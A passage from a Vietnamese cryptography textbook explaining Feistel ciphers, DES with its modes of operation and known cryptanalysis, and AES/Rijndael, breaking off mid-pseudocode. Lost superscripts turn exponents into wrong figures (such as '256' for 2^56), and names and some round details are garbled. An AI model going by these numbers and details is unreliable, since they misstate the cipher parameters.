khác nhau trên bản rõ. Một kiểu chia dữ liệu thành từng khối để xử lý, kiểu kia xử lý trực
tiếp từng đơn vị thông tin.
IV.1.1 Phân biệt mã khối với mã dòng.
o Mã khối (block) xử lý bản tin theo từng khối, lần lượt mỗi khối được mã
hoặc giải mã. Có thể xem giống như phép thế với các ký tự lớn – mỗi khối gồm
64 bít hoặc nhiều hơn.
o Mã dòng xử lý bản tin theo từng bít hoặc bite, lần lượt mỗi bít hoặc bite
được mã hoá hoặc giải mã. Chẳng hạn như mã khoá tự động Vigenere.
o Rất nhiều mã hiện nay là mã khối. Chúng có khả năng ứng dụng rộng rãi
hơn. Rất nhiều ứng dụng mã đối xứng trên mạng sử dụng mã khối.
Các nguyên lý mã khối
o Hầu hết các mã khối đối xứng dựa trên cấu trúc mã Fiestel, do nhà bac học Fiestel
đề xuất năm 1973. Đây là điều cần thiết, vì cần phải có khả năng giải mã các bản
mã một cách có hiệu quả.
o Mã khối được coi giống như phép thế cực lớn. Cần bảng có 264 đầu vào cho mã
khối 64 bít, bảng như vậy là rất lớn. Do đó có thể thay thế bằng cách tạo các khối
nhỏ hơn.
o Sử dụng ý tưởng dùng mã tích. Ở đây sẽ kết hợp giữa mã thay thế và mã hoán vị,
đồng thời sử dụng nhiều vòng lặp như vậy.
IV.1.2 Claude Shannon và mã phép thế hoán vị
Năm 1949, Shannon đưa ra ý tưởng mạng phép thế và hoán vị (S-P networks) – là mã
tích phép thế và hoán vị hiện đại với mục đích là cản trở việc thám mã dựa vào các phân
tích thống kê. Giả sử kẻ thám mã biết một số tính chất thống kê của bản rõ như bảng phân
bố tần suất của các chữ cái, bộ các chữ cái. Nếu các đặc trưng thống kê này được phản
ánh trong bản mã, thì kẻ thám mã sẽ tìm cách tìm được khoá hoặc một phần khoá hoặc
tìm mò ra bản rõ. Shannon muốn có một bản mã lý tưởng, ở đó mọi đặc trưng thống kế
đều độc lập với khoá riêng được dùng, như vậy kẻ thám mã sẽ không có cơ sở để tìm
khoá.
Mạng S-P đã tạo nên cơ sở cho mã khối hiện đại. Mạng S-P dựa trên hai thao tác mã cơ
bản mà ta đã biết: phép thế (S-box) và hoán vị (P-box). Chúng sẽ tạo nên độ rối loạn và
khuếch tán của bản tin.
Rối loạn và khuếch tán
o Một tính chất quan trọng của mã tốt là mã cần phải che dấu hoàn toàn các tính
chất thống kê của bản tin gốc. Như ta đã thấy mã bộ đệm một lần có thể làm được
điều đó, do tính ngẫu nhiên của khoá đệm và độ dài bằng bản tin của nó.
 - 47 -
o Shannon nghiên cứu và đề xuất phương pháp thực tế hơn là kết hợp các thành
phần khác nhau của bản rõ để xử lý qua nhiều lần và nhận được bản mã.
o Khuếch tán là làm tan biến cấu trúc thống kê của bản rõ trên bản mã. Điều đó đạt
được nếu mỗi bit của bản rõ tác động đến giá trị của rất nhiều bit trên bản mã hay
mỗi bit của bản mã chịu tác động của nhiều bit bản rõ.
o Rối loạn là làm cho quan hệ giữa bản mã và khoá càng phức tạp càng tốt. Bản mã
có tính rối loạn cao sẽ làm cho việc tìm mò khoá trở nên rất khó khăn, ngay cả khi
kẻ tấn công có các đặc trưng thống kê của bản mã và biết cách khoá tác động đến
bản mã.
IV.1.3 Cấu trúc mã Fiestel
• Horst Fiestel sáng tạo nên mã Fiestel dựa trên mã tích nghịch đảo được, tức là kết
hợp mã thế với mã hoán vị và qui trình giải mã là giống với mã hoá, chỉ cần thay
đổi vai trò khối bản mã với khối bản rõ và thứ tự các khoá con được dùng. Từ
khoá chính sinh ra cho mỗi vòng lặp một khoá con.
• Chia khối đầu vào thành 2 nửa bằng nhau:
o Thực hiện phép thế trên nửa trái. Sử dụng hàm vòng trên nửa phải và khoá
con, rồi tác động đến nửa trái.
o Sau đó hoán vị các nửa, nửa phải chưa được xử lý.
o Xử lý vòng tiếp theo.
• Đây là một thể hiện của mã thế kết hợp với hoán vị của Shannon. Ta xem xét cụ
thể cấu trúc mã Fiestel gồm n vòng:
 - 48 -

Nguyên tắc thiết kế mã khối Fiestel

• Tăng kích thước khối sẽ làm tăng độ an toàn nhưng làm giảm tốc độ mã
• Tăng kích thước khoá sẽ làm tăng độ an toàn – tìm khoá khó hơn, nhưng làm
chậm mã.
• Tăng số vòng làm tăng độ an toàn nhưng làm chậm mã
• Phát sinh khoá con càng phức tạp làm cho việc thám mã khó hơn nhưng làm chậm
mã
• Hàm vòng càng phức tạp làm cho việc thám mã khó hơn nhưng làm chậm mã
• Phần mềm mã hoá/giải mã nhanh và khó thám mã là tiêu chí hay được đề cập đến
đối với ứng dụng và kiểm nghiệm thực tế.

Giải mã khối Fiestel

IV.2 Chuẩn mã dữ liệu (DES)

DES (Data Encryption Standards) là mã khối sử dụng rộng rãi nhất trên thế giới trong
thời gian vừa qua. Nó được đưa ra năm 1977 bởi NBS – văn phòng chuẩn Quốc gia Hoa
 - 49 -
kỳ (bây giờ là NIST - Viện chuẩn và công nghệ Quốc gia). DES là mã khối với mỗi khối
dữ liệu 64 bít và dùng khoá dài 56 bít. Nó được sử dụng rộng rãi và đã được tranh luận kỹ
về mặt an toàn.

IV.2.1 Lịch sử DES:

Cuối những năm 1960, IBM phát triển mã Lucifer, được lãnh đạo bởi Fiestel. Ban đầu
Lucifer sử dụng khối dữ liệu 64 bít và khoá 128 bít. Sau đó tiếp tục phát triển như mã
thương mại. Năm 1973 NBS yêu cầu đề xuất chuẩn mã Quốc gia. IBM đề nghị bản sửa
đổi Lucifer, sau này gọi là DES. Đã có các tranh luận về thiết kế của DES. Vì chuẩn của
DES được công khai, mọi người đóng góp ý kiến về tốc độ, độ dài khoá và mức độ an
toàn, khả năng thám mã. Người ta đề xuất chọn khoá 56 bít thay vì 128 để tăng tốc đọ xử
lý và đưa ra các tiêu chuẩn thiết kế một chuẩn mã dữ liệu. Các suy luận và phân tích
chứng tỏ rằng thiết kế như vậy là phù hợp. Do đó DES được sử dụng rộng rãi, đặc biệt
trong lĩnh vực tài chính.

IV.2.2 Sơ đồ mã DES

• Hoán vị ban đầu IP: đây là bước đầu tiên của tính toán dữ liệu, hoán vị IP đảo
thứ tự các bít đầu vào: các bít chẵn sang nửa trái và các bít lẻ sang nửa phải. Hoán
vị trên dễ dàng thực hiện trên phần cứng.
Mỗi số trong hệ 16 biểu diễn bởi 4 bit, 16 số được thể hiện bởi 64 bit. Mỗi bit có
một vị trí xác định qua hoán vị ban đầu (xem bảng phụ lục cuối tài liệu).
Ví dụ
IP(675a6967 5e5a6b5a) = (ffb2194d 004df6fb)
 - 50 -
• Cấu tạo một vòng của DES
Sử dụng hai nửa 32 bít trái và 32 bít phải. Như đối với mọi mã Fiestel, nửa phải của
vòng trước được chuyển qua nửa trái của bước sau và lấy đầu ra của hàm vòng trên
nửa phải và khoá con cộng cơ số 2 với nửa trái. Có thể biểu diễn bằng công thức như
sau:
Li = Ri–1
Ri = Li–1 xor F(Ri–1, Ki)
Ở đây F lấy 32 bít nửa phải R, mở rộng thành 48 bít nhờ hoán vị E, rồi cộng vào với
khoá con 48 bít. Sau đó chia thành 8 cụm 6 bít và cho qua 8 S-box để nhận được kết
quả 32 bít. Đảo lần cuối sử dụng hoán vị 32 bít P nhận được 32 bít đầu ra, rồi cộng
với nửa trái để chuyển thành nửa phải của bước sau.

• Các hộp thế S (xem phụ lục cuối tài liệu)

Có 8 hộp S khác nhau ánh xạ 6 bít vào 4 bít. Các hộp S box thực hiện các phép
thế, chúng được cấu tạo không có qui luật và cố định. Mỗi S box là hộp 4 x 16
bít, mỗi hàng là một hoán vị của 16 phần tử. Giả sử ta có 6 bít đầu vào. Ta lấy hai
bít ngoài 1-6 ghép lại được số nhị phân xác định chọn hàng từ 0 đến 3 trong S
box. Bốn bít từ 2 đến 5 là một số nhị phân xác định cột từ 0 đến 15 trong S box.
Lấy phần tử tương ứng trên hàng và cột mới được xác định, đây là một số từ 0
đến 15, chuyển sang số nhị phân ta được 4 bít đầu ra. Như vậy 48 bít chia thành
có 8 cụm 6 bít, qua 8 S box được chuyển thành 8 cụm 4 bít, tổng cộng là 32 bít
Việc chọn hàng trong các S box phụ thuộc cả dữ liệu và khoá - đặc trưng này
được gọi là khoá tự xác định
Ví dụ:
S(18 09 12 3d 11 17 38 39) = 5fd25e03
• Sinh khoá con của DES
o Tạo 16 khoá con sử dụng cho 16 vòng của DES. 56 bit khoá đầu vào được
sử dụng như bảng 8 x 8, trong đó cột thứ 8 không sử dụng.
 - 51 -
o Hoán vị ban đầu của khoá PC1 và tách 56 bít thành hai nửa 28 bít.
o 16 giai đoạn bao gồm
 Ở mỗi vòng nửa trái và nửa phải được dịch trái vòng quanh tương
ứng 1 và 2 bit. Hai nửa này được dùng tiếp cho vòng sau.
 Đồng thời hai nửa cũng cho qua hoán vị PC2 và chọn mỗi nửa 24
bít gộp lại thành 48 bít để sinh khoá con..
o Ứng dụng thực tế trên cả phần cứng và phần mềm đều hiệu quả

Các thông số cụ thể về hoán vị ban đầu, các hộp Box và thuật toán sinh khoá của DES
được cho cuối tài liệu trong phần phụ lục.
• Giải mã DES
Giải mã làm ngược lại quá trình mã hoá. Với thiết kế Fiestel thực hiện mã hoá
tiếp với các khoá con từ SK16 ngược lại về SK1. Nhận thấy rằng hoán vị ban đầu
IP sẽ trả lại tác dụng của hoán vị cuối FP. Vòng đầu với SK16 sẽ trả lại tác dụng
của vòng mã thứ 16. Vòng thứ 16 với SK1 sẽ trả lại tác dụng của vòng mã đầu
tiên. Hoán vị cuối FP trả lại tác dụng hoán vị ban đầu IP. Như vậy đã khôi phục
lại được dữ liệu ban đầu.
IV.2.3 Tính chất của DES
• Tác dụng đồng loạt. Khi ta thay đổi 1 bit trong khoá sẽ gây ra tác động đồng loạt
làm thay đổi nhiều bit trên bản mã. Đây là tính chất mong muốn của khoá trong
thuật toán mã hoá. Nếu thay đổi 1 bít đầu vào hoặc khoá sẽ kéo theo thay đổi một
nửa số bít đầu ra. Do đó không thể đoán khoá được. Co thể nói rằng DES thể hiện
tác động đồng loạt mạnh.
• Sức mạnh của DES – kích thước khoá.
Độ dài của khoá trong DES là 56 bít có 256 = 7.2 x 1016 giá trị khác nhau. Đây là
con số rất lớn nên tìm kiếm duyệt rất khó khăn. Các thành tựu gần đây chỉ ra rằng
thời gian cần thiết để giải một trang mã DES mà không biết khoá là: sau một vài
 - 52 -
tháng trên Internet trong năm 1997; một vài ngày trên thiết bị phần cứng tăng
cường trong năm 1998; sau 22 giờ nếu kết hợp các biện pháp trong năm 1999.
Như vậy vẫn có thể đoán được bản rõ sau một khoảng thời nhất định, nếu có
nguồn lực máy tính mạnh. Chính vì vậy bây giờ người ta đã xét một vài biến thể
của DES nhằm nâng cao sức mạnh cho DES.
• Sức mạnh của DES – tấn công thời gian.
Đây là dạng tấn công vào cài đặt thực tế của mã. Ở đây sử dụng hiểu biết về quá
trình cài đặt thuật toán mà suy ra thông tin về một sô khoá con hoặc mọi khoá
con. Đặc biệt sử dụng kết luận là các tính toán chiếm khoảng thời gian khác nhau
phụ thuộc vào giá trị đầu vào của nó. Do đó kẻ thám mã theo dõi thời gian thực
hiện mà phán đoán về khoá. Có thể kẻ thám mã sáng tạo ra các loại card thông
minh phán đoán khoá, mà còn phải bàn bạc thêm về chúng.
• Sức mạnh của DES – tấn công thám mã.
Có một số phân tích thám mã trên DES, từ đó đề xuất xây dựng một số cấu trúc
sâu về mã DES. Rồi bằng cách thu thập thông tin về mã, có thể đoán biết được tất
cả hoặc một số khoá con đang dùng. Nếu cần thiết sẽ tìm duyệt những khoá còn
lại. Nói chung, đó là những tấn công dựa trên phương pháp thống kê bao gồm:
thám mã sai phân, thám mã tuyến tính và tấn công khoá liên kết.
• Thám mã sai phân
Một trong những thành tựu công khai gần đây trong thám mã là phương pháp
thám mã sai phân. Nó được biết đến bởi NSA trong những năm 70, chẳng hạn
trong thiết kế DES. Murphy, Birham và Shamir công bố phương pháp sai phân
năm 1990. Đây là phương pháp mạnh để phân tích mã khối. Nó sử dụng phân tích
hầu hết các mã khối hiện tại với mức độ thành công khác nhau. Nhưng DES có
thể kháng cự lại các tấn công đó. Thám mã sai phân là tấn công thống kê chống
lại các mã Fiestel. Mã Fiestel dùng các cấu trúc mã chưa được sử dụng trước kia
như thiết kế S-P mạng có đầu ra từ hàm f chịu tác động bởi cả đầu vào và khoá.
Do đó không thể tìm lại được giá trị bản rõ mà không biết khoá.
Thám mã sai phân so sánh hai cặp mã có liên quan với nhau
o Với sự khác biệt đã biết ở đầu vào
o Khảo sát sự khác biệt ở đầu ra
o Khi với cùng khoá con được dùng
o Trong công thức sau với hai đầu vào khác nhau, vế trái là sự khác biệt mã
ở cùng vòng thứ i được biểu diễn qua sự khác biệt mã ở vòng trước đó i-1
và sự khác biệt của hàm f trong ngoặc vuông.

Sự khác biệt ở đầu vào cho sự khác biệt ở đầu ra với một xác suất cho trước.
 - 53 -
o Nếu tìm được một thể hiện đầu vào - đầu ra với xác suất cao. Thì có
thể luận ra khoá con được sử dụng trong vòng đó
o Sau đó có thể lặp lại cho nhiều vòng (với xác suất giảm dần)
 Cặp đúng cho bít khoá như nhau
 Cặp sai cho giá trị ngẫu nhiên
o Đối với số vòng lớn, xác suất để có nhiều cặp đầu vào 64 bít thoả mãn
yêu cầu là rất nhỏ.
o Birham và Shamir chỉ ra rằng làm như thế nào để các đặc trưng lặp của
13 vòng có thể bẻ được DES 16 vòng đầy đủ.

o Qui trình thám mã như sau: thực hiện mã hoá lặp lại với cặp bản rõ có
XOR đầu vào biết trước cho đến khi nhận được XOR đầu ra mong
muốn
o Khi đó có thể tìm được
 nếu vòng trung gian thỏa mãn XOR yêu cầu thì có cặp đúng
 nếu không thì có cặp sai, tỷ lệ sai tương đối cho tấn công đã
biết trước dựa vào thống kê.
o Sau đó có thể tạo ra các khoá cho các vòng theo suy luận sau
• Thám mã tuyến tính
 - 54 -
Đây là một phát hiện mới khác. Nó cũng dùng phương pháp thống kê. Ở đây
cần lặp qua các vòng với xác suất giảm, nó được phát triển bởi Matsui và một
số người khác vào đầu những năm 90. Cơ sở của phương pháp dựa trên tìm
xấp xỉ tuyến tính. Và có nhận định rằng có thể tấn công DES với 247 bản rõ đã
biết. Như vậy thám mã tuyến tính vẫn không khả thi trong thực tế.
o Tìm xấp xỉ tuyến tính với xác suất p != ½

P[i1,i2,...,ia] (+) C[j1,j2,...,jb] = K[k1,k2,...,kc]

trong đó ia, jb, kc là các vị trí bit trong bản rõ, mã, khoá.
o Điều kiện trên cho phương trình tuyến tính của các bít khoá.
Để nhận được 1 bít khoá sử dụng thuật toán lân cận tuyến tính
o Sử dụng một số lớn các phương trình thử nghiệm. Hiệu quả cho bởi |p
– 1/2|
Trong quá trình tìm hiểu DES người ta đã hệ thống lại các tiêu chuẩn thiết kế
DES. Như báo cáo bởi Copperscmith trong [COPP94]:
o Có 7 tiêu chuẩn đối với S box được cung cấp để đảm bảo
 tính phi tuyến tính
 chống tham mã sai phân
 Rối loạn tốt
o Có 3 tiêu chuẩn cho hoán vị P để tăng độ khuếch tán

• Các nguyên lý mã khối

Các nguyên lý cơ bản của mã khối giống như Fiestel đề xuất trong những năm
70:
o Có một số vòng: càng nhiều càng tốt; tấn công tốt nhất phải tìm tổng
thể
o Trong mỗi vòng có hàm cung cấp độ rối loạn là phi tuyến, tác động
đồng loạt
o Qui trình sinh khoá con phức tạp, khoá tác động đồng loạt đến bản mã.
IV.2.4 Các kiểu thao tác của DES
Mã khối mã các block có kích thước cố định. Chẳng hạn DES mã các block 64 bít với
khoá 56 bít Cần phải có cách áp dụng vào thực tế vì các thông tin cần mã có kích thước
tùy ý. Trwosc kia có 4 kiểu thao tác được định nghĩa cho DES theo chuẩn ANSI: ANSI
X3.106-1983 Modes of Use. Bây giờ mở rộng them có 5 cách cho DES và chuẩn mã
nâng cao (AES – Advanced Encryption Standards). Trong đó có kiểu áp dụng cho khối
và có kiểu áp dụng cho mã dòng.
1. Sách mật mã điện tử (Electronic Codebook Book - ECB)
•
o Mẫu tin được chia thành các khối độc lập, sau đó mã từng khối

o Mỗi khối là giá trị cần thay thế như dùng sách mã, do đó có tên như vậy

o Mỗi khối được mã độc lập với các mã khác

o
 - 55 -
o
o
o
Ci = DESK1 (Pi)

o Khi dùng: truyền an toàn từng giá trị riêng lẻ

o

o Ưu và nhược của ECB

 Lặp trên bản mã được chỉ rõ lặp trên bản tin
- Nếu dóng đúng khối
- Đặc biệt với hình ảnh
- Hoặc với bản tin mà thay đổi rất ít
sẽ trở thành đối tượng để thám mã
 Nhược điểm là các khối được mã độc lập
 Được sử dụng chủ yếu khi gửi một ít dữ liệu
2. Dây chuyền mã khối (Cipher Block Chaining - CBC)
•
o Các mẫu tin được chia thành các khối
o Nhưng chúng được liên kết với nhau trong quá trình mã hoá
o Các block được sắp thành dãy, vì vậy có tên như vậy
o Sử dụng véctơ ban đầu IV để bắt đầu quá trình
Ci = DESK1(Pi XOR Ci-1)
C-1 = IV

o Dùng khi: mã dữ liệu lớn, xác thực

 - 56 -

o Ưu và nhược của CBC

 Mỗi khối mã phụ thuộc vào tất cả các khối bản rõ
 Sự thay đổi của bản tin ở đâu đó sẽ kéo theo sự thay đổi của
mọi khối mã
 Cần giá trị véc tơ ban đầu IV được biết trước bởi người gửi và
người nhận
- Tuy nhiên nếu IV được gửi công khai, kẻ tấn công có thể
thay đổi bít đầu tiên và thay đổi cả IV để bù trừ
- Vậy IV cần phải có giá trị cố định trước hoặc mã hoá trong
chế độ ECB và gửi trước phần còn lại của mẩu tin
 Ở cuối bản tin, để kiểm soát các block ngắn còn lại
- Có thể bổ sung các giá trị không phải dữ liệu như NULL
- Hoặc dùng bộ đệm cuối với số byte đếm kích thước của nó.
Ví dụ
[ b1 b2 b3 0 0 0 0 5] <- 3 data bytes,
vậy có 5 bytes dành cho đệm và đếm.
3. Mã phản hồi ngược (Cipher FeedBack - CFB)

o Bản tin coi như dòng các bít

o Bổ sung vào đầu ra của mã khối
o Kết quả phản hồi trở lại cho giai đoạn tiếp theo, vì vậy có tên như vậy.
o Nói chung cho phép số bít phản hồi là 1, 8, 64, hoặc tuỳ ý: ký hiệu tương
ứng là CFB1, CFB8, CFB64,…
o Thường hiệu quả sử dụng cả 64 bít
Ci = Pi XOR DESK1(Ci-1)
C-1 = IV

o Được dùng cho mã dữ liệu dòng, xác thực

 - 57 -

Ưu và nhược điểm của mã phản hồi ngược

o Được dùng khi dữ liệu đến theo byte/bit
o Chế độ dòng thường gặp nhất
o Hạn chế là cần ngăn chuồng khi mã khối sau mỗi n bit
o Nhận xét là mã khối được dùng ở chế độ mã ở cả hai đầu
o Lỗi sẽ lan ra một vài block sau lỗi
4. Phản hồi ngược đầu ra (Output FeedBack - OFB)

o Mẩu tin xem như dòng bit

o Đầu ra của mã được bổ sung cho mẩu tin
o Đầu ra do đó là phản hồi, do đó có tên như vậy
o Phản hồi ngược là độc lập đối với bản tin
o Có thể được tính trước
Ci = Pi XOR Oi
Oi = DESK1(Oi-1)
O-1 = IV
o Được dùng cho mã dòng trên các kênh âm thanh
 - 58 -

Ưu điểm và nhược điểm của OFB

o Được dùng khi lỗi phản hồi ngược lại hoặc ở nơi cần mã trước khi mẩu tin
sẵn sàng
o Rất giống CFB
o Nhưng phản hồi là từ đầu ra của mã và độc lập với mẩu tin
o Là biến thể của mã Vernam, suy ra không sử dụng lại với cùng một dãy
(Key + IV)
o Người gửi và người nhận phải đồng bộ, có phương pháp khôi phục nào đó
là cần thiết để đảm bảo việc đó.
o Nguyên bản chỉ rõ m bit phản hồi ngược theo các chuẩn
o Các nghiên cứu tiếp theo chỉ ra rằng chỉ có OFB64 là dùng được
5. Bộ đếm CTR (Counter)
o Là chế độ mới, tuy đã được đề xuất từ lâu
o Giống như OFB, nhưng mã giá trị đếm thay vì giá trị phản hồi tuỳ ý.
o Cần phải có khoá khác và giá trị đếm cho mỗi khối bản rõ (không bao giờ
dùng lại)
Ci = Pi XOR Oi
Oi = DESK1(i)

o Được dùng mã trên mạng với tốc độ cao

o Ưu và nhược điểm của CTR
 Hiệu quả
- Do có thể mã song song
- Chuẩn bị trước nếu cần
- Tốt cho các kết nối với tốc độ rất cao
 Truy cập ngẫu nhiên đến các khối dữ liệu mã
 Tính an toàn có thể chứng minh được
 Nhưng phải tin tưởng không bao giờ dùng lại khoá/đếm, nếu
không có thể bẻ.
 - 59 -

IV.3 Chuẩn mã nâng cao (AES)

IV.3.1 Nguồn gốc
Rõ ràng cần phải thay thế DES, vì có những tấn công về mặt lý thuyết có thể bẻ được nó.
Một số tấn công nghiên cứu thấu đáo khoá đã được trình diễn. Người ta thấy rằng, cần sử
dụng Triple DES (sử dụng DES ba lần liên tiếp) cho các ứng dụng đòi hỏi tăng cường
bảo mật, nhưng quá trình mã và giải mã chậm, đồng thời với khối dữ liệu nhỏ. Do đó
Viện chuẩn quốc gia Hoa kỳ US NIST ra lời kêu gọi tìm kiếm chuẩn mã mới vào năm
1997. Sau đó có 15 đề cử được chấp nhận vào tháng 6 năm 1998. Và được rút gọn còn 5
ứng cử viên vào tháng 6 năm 1999. Đến tháng 10 năm 2000, mã Rijndael được chọn làm
chuẩn mã nâng cao và được xuất bản là chuẩn FIPS PUB 197 vào 11/2001.
Yêu cầu của AES
• Là mã khối đối xứng khoá riêng.
• Kích thước khối dữ liệu 128 bit và độ dài khoá là tùy biến: 128, 192 hoặc 256 bit.
• Chuẩn mã mới phải mạnh và nhanh hơn Triple DES. Mã mới có cơ sở ls thuyết
mạnh để thời gian sống của chuẩn khoảng 20-30 năm (cộng thêm thời gian lưu
trữ).
• Khi đưa ra thành chuẩn yêu cầu cung cấp chi tiết thiết kế và đặc tả đầy đủ. Đảm
bảo rằng chuẩn mã mới cài đặt hiệu quả trên cả C và Java.
• NIST in rút gọn mọi đề xuất, phân tích và không phân loại.

IV.3.2 Tiêu chuẩn triển khai của AES

• Tiêu chuẩn ban đầu:
o An toàn - chống đỡ mọi tấn công thám mã về thực tế
o Giá trị về mặt tính toán
o Các đặc trưng cài đặt và thuật toán.
• Tiêu chuẩn cuối cùng:
o An toàn tổng thể
o Dễ cài đặt phần mềm và phần cứng
o Chống được tấn công về mặt cài đặt
o Mềm dẻo trong mã / giải mã, khoá và các yếu tố khác
• Danh sách các ứng cử viên Chuẩn mã nâng cao được rút gọn:
o MARS (IBM): phức tạp, nhanh, biên độ tin cậy cao
o RC6 (USA): đơn giản, rất nhanh, biên độ tin cậy thấp
 - 60 -
o Rijndael (Bỉ): rõ ràng, nhanh, biên độ tin cậy tốt
o Serpent (Châu Âu): chậm, rõ ràng, biên độ tin cậy rất cao
o Twofish (USA): phức tạp, rất nhanh, biên độ tin cậy cao
• Sau đó tục phân tích và đánh giá. Tập trung vào việc so sánh các thuật toán khác
nhau:
o Ít vòng nhưng phức tạp với nhiều vòng đơn giản hơn.
o Nêu rõ cải tiến các mã đã có với các đề xuất mới.

IV.3.3 Chuẩn mã nâng cao AES – Rijndael

Cuối cùng Rijndael được chọn là chuẩn mã nâng cao. Nó được thiết kế bởi Rijmen –
Daemen ở Bỉ, có các đặc trưng sau:
• Có 128/192/256 bit khoá và 128 bit khối dữ liệu.
• Lặp hơi khác với Fiestel
o Chia dữ liệu thành 4 nhóm – 4 byte
o Thao tác trên cả khối mỗi vòng
o Thiết kế để:
 chống lại các tấn công đã biết
 tốc độ nhanh và nén mã trên nhiều CPU
 Đơn giản trong thiết kế
• Xử lý khối dữ liệu 128 bit như 4 nhóm của 4 byte: 128 = 4*4*8 bit. Mỗi nhóm
nằm trên một hàng. Ma trận 4 hàng, 4 cột với mỗi phần tử là 1 byte coi như trạng
thái được xử lý qua các vòng mã hoá và giải mã.
• Khoá mở rộng thành mảng gồm 44 từ 32 bit w[i].
• Có tùy chọn 9/11/13 vòng, trong đó mỗi vòng bao gồm
o Phép thế byte (dùng một S box cho 1 byte)
o Dịch hàng (hoán vị byte giữa nhóm/cột)
o Trộn cột (sử dụng nhân ma trận của các cột)
o Cộng khoá vòng (XOR trạng thái dữ liệu với khoá vòng).
o Mọi phép toán được thực hiện với XOR và bảng tra, nên rất nhanh và hiệu
quả.
• Sơ đồ Rijndael
 - 61 -

• Phép thế Byte

o Phép thê byte đơn giản
o Sử dụng một bảng 16 x 16 byte chứa hoán vị của tất cả 256 giá trị 8 bit
o Mỗi byte trạng thái được thay bởi byte trên hàng xác định bởi 4 bit trái và cột
xác định bởi 4 bit phải.
Chẳng hạn {95} được thay bởi hàng 9, cột 5, mà giá trị sẽ là {2A}.
o S box được xây dựng sử dụng hoán vị các giá trị trong GF(2 8) đã được xác
định trong chương trước.
o Thiết kế để chống mọi tấn công đã biết
• Dịch hàng
o Dịch hàng vòng quanh trên mỗi hàng
 Hàng 1 không đổi
 Hàng 2 dịch vòng quanh 1 byte sang trái
 Hàng 3 dịch vòng quanh 2 byte sang trái
 Hàng 4 dịch vòng quanh 3 byte sang trái
o Giải mã thực hiện dịch ngược lại sang phải
o Vì trạng thái được xử lý bởi cột, bước này thực chất là hoán vị byte giữa các
cột.
• Trộn các cột
o Mỗi cột được xử lý riêng biệt.
o Mỗi byte được thay bởi 1 giá trị phụ thuộc vào tất cả 4 byte trong cột
o Nhân ma trận hiệu quả trong GF(28), sử dụng đa thức nguyên tố
m(x) =x8+x4+x3+x+1
 - 62 -

Trộn cột
o Có thể biểu diễn mỗi cột mới là nghiệm của 4 phương trình
 để tìm ra byte mới trong mỗi cột
o Mã yêu cầu sử dụng ma trận nghịch đảo
 Với hệ số lớn thì tính toán khó khăn hơn
o Có các đặc trưng khác của cột như sau:
 Mỗi cột là một đa thức bậc 3 gồm 4 số hạng
 Với mỗi phần tử là một byte tương ứng với phần tử trong GF(28).
 Các đa thức nhân tính theo Modulo (x4+1).
• Cộng khoá quay vòng
o XOR trạng thái với 128 bit khoá quay vòng
o Xử lý lại bằng cột (hiệu quả qua một loạt các thao tác bit)
o Nghịch đảo cho giải mã hoàn toàn xác định, vì khi XOR với nghịch đảo
của bản thân nó, XOR trùng với đảo bit của khoá quay vòng.
o Thiết kế để đơn giản nhất có thể
 Dạng mã Vernam với khoá mở rộng
 Đòi hỏi thêm một số bước tăng độ phức tạp/tính an toàn.
• Một vòng AES

• Mở rộng khoá AES

o Dùng khoá 128 bit (16 byte) và mở rộng thành mảng gồm 44/52/60 từ 32
bit.
o Bắt đầu bằng việc copy khoá vào 4 từ đầu
o Sau đó tạo quay vòng các từ mà phụ thuộc vào giá trị ở các vị trí trước và
4 vị trí sau
 3 trong 4 trường hợp chỉ là XOR chúng cùng nhau
 Mỗi cái thứ 4 có S box kết hợp quay và XOR với hằng số trước đó,
trước khi XOR cùng nhau
 Thiết kế chống các tấn công đã biết
 - 63 -

• Giải mã AES
o Giải mã ngược lại không duy nhất vì các bước thực hiện theo thứ tự ngược
lại.
o Nhưng có thể xác định mã ngược tương đương với các bước đã làm đối
với mã
 Nhưng sử dụng ngược lại với từng bước
 Với khoá con khác nhau
o Thực hiện được vì kết quả không thay đổi khi
 Đổi lại phép thế byte và dịch các hàng
 Đổi lại việc trộn các cột và bổ sung khoá vòng
o Lý do mở rộng khoá: các tiêu chuẩn thiết kế bao gồm
 Giả sử biết một phần khoá, khi đó không đủ để biết nhiều hơn, tức là
các khoá con khác hoặc khoá nói chung.
 Phép biến đổi nghịch đảo được.
 Nhanh đối với nhiều kiểu CPU.
 Sử dụng hằng số vòng để làm mất tính đối xứng
 Khuếch tán bit khoá thành khoá con cho các vòng
 Có đủ tính phi đối xứng để chống thám mã
 Đơn giản trong việc giải mã
o Các khía cạnh cài đặt:
 có thể cài đặt hiệu quả trên CPU 8 bit
- Phép thế byte làm việc trên các byte sử dụng bảng với 256
đầu vào.
- Dịch hàng là phép dịch byte đơn giản
- Cộng khoá vòng làm việc trên byte XOR
 - 64 -

- Các cột hỗn hợp yêu cầu nhân ma trận trong GF(28) mà làm
việc trên giá trị các byte, có thể đơn giản bằng cách tra
bảng
 có thể cài đặt hiệu quả trên CPU 32 bit
- Xác định lại các bước để sử dụng từ 32 bit
- Có thể tính trước 4 bảng với 256 đầu vào
- Sau đó mỗi cột trong mỗi vòng có thể tính bằng cách tra 4
bảng và 4 XOR
- Cần 16 Kb để lưu các bảng
 Những nhà thiết kế tin tưởng rằng việc cài đặt rất hiệu quả này là yếu
tố cơ bản trong việc chọn nó là mã AES

Sau đây ta xét chi tiết hơn các quá trình mã hoá, sinh khoá và giải mã AES.
Xét cụ thể quá trình mã hóa bao gồm 4 bước:
1. AddRoundKey - mỗi byte của khối được kết hợp với khóa con, các khóa con này
được tạo ra từ quá trình tạo khóa con Rijndael.

Hình 2.5: Mô tả hoạt động bước AddRoundKey

2. SubBytes - đây là quá trình thay thế (phi tuyến) trong đó mỗi byte sẽ được thay
thế bằng một byte khác theo bảng tra (Tìm trong tài liệu tương ứng).

Hình 2.6: Mô tả hoạt động bước SubBytes

 - 65 -
3. ShiftRows - đổi chỗ, các hàng trong khối được dịch vòng.

Hình 2.7: Mô tả hoạt động bước ShiftRows

4. MixColumns - quá trình trộn làm việc theo các cột trong khối theo một chuyển
đổi tuyến tính.

Hình 2.8: Mô tả hoạt động bước MixColumns

Tại chu trình cuối thì bước MixColumns được thay thế bằng bước AddRoundKey.
Thuật toán mã hoá
INPUT: M 128 bit, w[Nb*(Nr+1)] --- w là mảng khoá , M là khối dữ liệu rõ
OUTPUT: Y 128 bit -- Khối dữ liệu đã được mã hoá
TIẾN TRÌNH XỬ LÝ:
State:=in;
AddRoundKey(State,w[0,Nb-1]);
for i in 1..Nr-1 loop
SubByte(state);
ShiftRows(state);
MixColums(state);
AddRoundKey(state,w[i*Nb],(i+1)*Nb-1);
end loop;
SubByte(state);
ShiftRows(state);
